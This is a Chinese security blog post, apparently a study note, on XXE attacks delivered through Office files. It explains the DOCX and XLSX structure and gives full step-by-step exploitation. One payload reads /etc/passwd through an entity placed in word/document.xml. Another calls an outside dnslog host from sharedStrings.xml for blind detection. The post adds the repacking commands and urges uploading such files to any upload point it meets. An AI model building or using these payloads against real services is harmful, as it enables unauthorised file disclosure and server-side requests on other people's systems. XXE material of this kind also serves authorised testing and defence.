一、前置知识
在微软2007之后,Office文件名都添加了 x,本质上都是个xml文件,可以使用 file 或 unzip 等命令查看。
$ file office_xxe.xlsx
office_xxe.xlsx: Microsoft OOXML
$ unzip office_xxe.docx -d docx
Archive: office_xxe.docx
inflating: docx/[Content_Types].xml
inflating: docx/_rels/.rels
inflating: docx/word/_rels/document.xml.rels
inflating: docx/word/document.xml
inflating: docx/word/theme/theme1.xml
inflating: docx/docProps/thumbnail.emf
inflating: docx/word/settings.xml
inflating: docx/word/fontTable.xml
inflating: docx/docProps/app.xml
inflating: docx/word/webSettings.xml
inflating: docx/word/styles.xml
inflating: docx/docProps/core.xml
二、Word文档
Extension:.docx
, docm
Type MIME : application/vnd.openxmlformats-officedocument.wordprocessingml.document
Description:Office Open XML(OOXML)是一种压缩的、基于XML的文件格式。.docm
还允许使用宏。
解压之后包含几个主要的 xml 文件:
-
_rels/.rels
类似MySQL索引的概念 -
[Content_Types].xml
MIME列表 -
word/document.xml
提供了文件的概述,大多数时候web应用程序首先分析此文件。
Exploitation
1、创建一个 word 文件
2、解压该文件
unzip xxe.docx -d office_xxe
3、将 XXE payload插入到应用程序将处理的 .xml
文件。(word/document.xml等
)
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE
foo
[
<!ELEMENT t
ANY
>
<!ENTITY
xxe
SYSTEM
"file:///etc/passwd"
>
]>
<
w:document
xmlns:wpc
=
"http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas"
xmlns:cx
=
"http://schemas.microsoft.com/office/drawing/2014/chartex"
xmlns:mc
=
"http://schemas.openxmlformats.org/markup-compatibility/2006"
xmlns:o
=
"urn:schemas-microsoft-com:office:office"
xmlns:r
=
"http://schemas.openxmlformats.org/officeDocument/2006/relationships"
xmlns:m
=
"http://schemas.openxmlformats.org/officeDocument/2006/math"
xmlns:v
=
"urn:schemas-microsoft-com:vml"
xmlns:wp14
=
"http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing"
xmlns:wp
=
"http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing"
xmlns:w10
=
"urn:schemas-microsoft-com:office:word"
xmlns:w
=
"http://schemas.openxmlformats.org/wordprocessingml/2006/main"
xmlns:w14
=
"http://schemas.microsoft.com/office/word/2010/wordml"
xmlns:w15
=
"http://schemas.microsoft.com/office/word/2012/wordml"
xmlns:w16se
=
"http://schemas.microsoft.com/office/word/2015/wordml/symex"
xmlns:wpg
=
"http://schemas.microsoft.com/office/word/2010/wordprocessingGroup"
xmlns:wpi
=
"http://schemas.microsoft.com/office/word/2010/wordprocessingInk"
xmlns:wne
=
"http://schemas.microsoft.com/office/word/2006/wordml"
xmlns:wps
=
"http://schemas.microsoft.com/office/word/2010/wordprocessingShape"
mc:Ignorable
=
"w14 w15 w16se wp14"
>
<
w:body
>
<
w:p
w:rsidR
=
"000310EC"
w:rsidRDefault
=
"00981224"
w:rsidP
=
"00981224"
>
<
w:pPr
>
<
w:pStyle
w:val
=
"Titre"
/>
</
w:pPr
>
<
w:r
>
<
w:t
>
Titre
</
w:t
>
</
w:r
>
</
w:p
>
<
w:p
w:rsidR
=
"00981224"
w:rsidRDefault
=
"00981224"
>
<
w:r
>
<
w:t
>
&xxe;
</
w:t
>
</
w:r
>
<
w:bookmarkStart
w:id
=
"0"
w:name
=
"_GoBack"
/>
<
w:bookmarkEnd
w:id
=
"0"
/>
</
w:p
>
<
w:sectPr
w:rsidR
=
"00981224"
>
<
w:pgSz
w:w
=
"11906"
w:h
=
"16838"
/>
<
w:pgMar
w:top
=
"1417"
w:right
=
"1417"
w:bottom
=
"1417"
w:left
=
"1417"
w:header
=
"708"
w:footer
=
"708"
w:gutter
=
"0"
/>
<
w:cols
w:space
=
"708"
/>
<
w:docGrid
w:linePitch
=
"360"
/>
</
w:sectPr
>
</
w:body
>
</
w:document
>
4、重新压缩 .docx
文件,然后上传
zip -r xxe.docx office_xxe/*
三、Excel文档
Extension:.xlsx
, xlsm
Type MIME : application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
Description:Office Open XML(OOXML)是一种压缩的、基于XML的文件格式。.docm
还允许使用宏。
解压之后包含几个主要的 xml 文件:
-
_rels/.rels
类似MySQL索引的概念 -
[Content_Types].xml
MIME列表 -
xl/workbook.xml
提供了文件的概述,大多数时候web应用程序首先分析此文件 -
xl/worksheets/sheet1.xml, xl/worksheets/sheet2.xml...
对应表格数据 -
xl/sharedStrings.xml
包含各种工作表的字符串
Exploitation
1、创建一个 Excel 文件
2、解压该文件
unzip xxe.xlsx -d office_xxe
3、将 XXE payload插入到应用程序将处理的 .xml
文件。(xl/workbook.xml, xl/worksheets/sheet1.xml, xl/sharedStrings.xml等
)
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE
foo
[
<!ELEMENT t
ANY
>
<!ENTITY
xxe
SYSTEM
"http://domain.api.args.dnslog.cn"
>
]>
<
sst
xmlns
=
"http://schemas.openxmlformats.org/spreadsheetml/2006/main"
count
=
"4"
uniqueCount
=
"4"
>
<
si
>
<
t
>
ABCD
</
t
>
</
si
>
<
si
>
<
t
>
&xxe;
</
t
>
</
si
>
<
si
>
<
t
>
FGHI
</
t
>
</
si
>
<
si
>
<
t
>
IJKL
</
t
>
</
si
>
</
sst
>
4、重新压缩 .xlsx
文件,然后上传
zip -r xxe.xlsx office_xxe/*
四、漏洞利用
当然,除了上述文档外,理论上任意一个“属于” XML
类型的文档都可以这样利用,比如:
-
DOCX/XLSX/PPTX -
ODT/ODG/ODP/ODS -
SVG -
XML -
PDF -
JPG -
GIF
可以用一些自动化工具去生成,建议多准备几种,文件读取+盲打的,遇到上传点,直接无脑上传就行了。
原文始发于微信公众号(小宝的安全学习笔记):Offeice文档XXE
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论